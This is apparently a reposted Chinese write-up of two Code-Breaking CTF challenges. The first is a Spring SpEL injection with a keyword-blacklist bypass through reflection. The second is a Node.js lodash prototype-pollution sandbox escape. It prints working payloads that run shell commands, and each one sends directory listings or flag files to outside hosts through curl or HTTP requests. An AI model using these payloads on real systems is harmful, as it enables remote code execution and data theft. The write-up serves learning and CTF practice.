使用idea打开这个项目,之后右键jar包选择Add as Library,之后就可以分析其中的源代码了。

5FC1A049-960A-4451-90BA-F4557B18B826.png

配置进行远程调试

9EDB41F3-F006-4004-8FD6-B8B8208658C1.png
1
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
1
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar

之后点击DEBUG开始调试

2. 漏洞相关知识点

2.1 EL表达式

2.2 SpEL表达式注入

参考:《由浅入深SpEL表达式注入漏洞》

2.3 反射

参考:《深入理解Java反射中的invoke方法》

3. 漏洞调试分析

可以看出是基于Spring框架编写的代码,所以首先查看其配置文件application.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1

可以看到用户的配置文件中写了一个黑名单和一个用户信息

SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor
引用自:http://rui0.cn/archives/1015

主要从MainController开始看其功能实现

截屏2019-10-15下午10.09.05.png

此处的了漏洞主要是SpEL表达式问题,但是因为有黑名单的限制,所以需要利用反射来拼接payload达到绕过的目的。

常规rce方式

1
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")

利用反射拼接的方式

1
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://i.zeye.xyz/test");

PS: 一个坑点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

1
new String[]{"/bin/bash\","-c","xxxxx"}

之后构造的payload如下

1
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://i.zeye.xyz/`cd / && ls|base64|tr '\\n' '-'`\"})}"));

最终利用payload如下

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl http://i.zeye.xyz/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

参考:《Code-Breaking Puzzles — javacon WriteUp》

0x08 thejs

1. 漏洞相关知识点

原型链污染,因为JavaScript是使用原型链机制来实现继承的,因此就可能会在能够控制数组(对象)的“键名”的操作处存在可污染点。

详细分析参考:《深入理解 JavaScript Prototype 污染攻击》

2. 题目解答

如果想要修改父对象的原型,有如下两种方式

  1. inst.constructor.prototype
  2. inst.__proto__
    那么推广一下的话,又有如下两种方式
  3. inst[constructor][prototype][]
  4. inst[__proto__][]
    所以也就是说只要找对数组进行操作的地方,我们就有可能完成对原型的污染。但是还要注意的是想办法赋值的__proto__对象并不是真正的这个对象,所以想要写到真正的__proto__中,我们需要一层赋值。

所以接下来构造攻击链的思路是: 找到一个未定义的变量,但是这个变量要在后面被调用。

经过分析发现sourceURL是未定义的。

971DD02B-9513-4415-B169-D86B9863C087.png

程序中只有一个输入点也就是req.body,之后经过lodash.merge将两个对象进行合并

屏幕快照 2019-09-05 上午10.53.41.png

后面可以看到sourceURL在判断中被调用

A6DD32B7-C1A1-45E2-BF7F-F2526CA3956E.png

因而成功造成原型链污染,之后在模板渲染中的Function函数中将造成任意代码执行,我们可以在控制台中简单测试一下

5ed863e9c2a9a83be5b390ba.png

一般来说,nodejs中可以直接通过require导入包来达到rce的效果,如下所示

5ed8640ac2a9a83be5b3b4e6.png
1
global.require("child_process").execSync("whoami").toString()

但是此题环境中有沙箱对此进行了限制,因此如下payload是无法成功的。需要对沙箱环境进行bypass
payload

1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').toString()}\r\n"}}

效果

5ed86424c2a9a83be5b3d1d4.png

bypass的payload可以参考这篇文章

https://xz.aliyun.com/t/4361

最终构造两个payload如下所示

1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}}
1
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://xxxx.ceye.io/${result}`);req.end();\r\n"}}

此处还有一个小细节,就是原型链污染之后,除非重启环境,否则攻击效果一直都在,也就是你读取的flag将一直显示在网页上,所以必须在污染之后将变量恢复,省的泄露我们的flag。(这也就是上面for循环进行delete的原因)

5ed86439c2a9a83be5b3e7ba.png

《深入理解 JavaScript Prototype 污染攻击》

《Code Breaking挑战赛 Writeup》

《JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇》

0x09 picklecode

害,这个先不写了,有时间再补吧


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK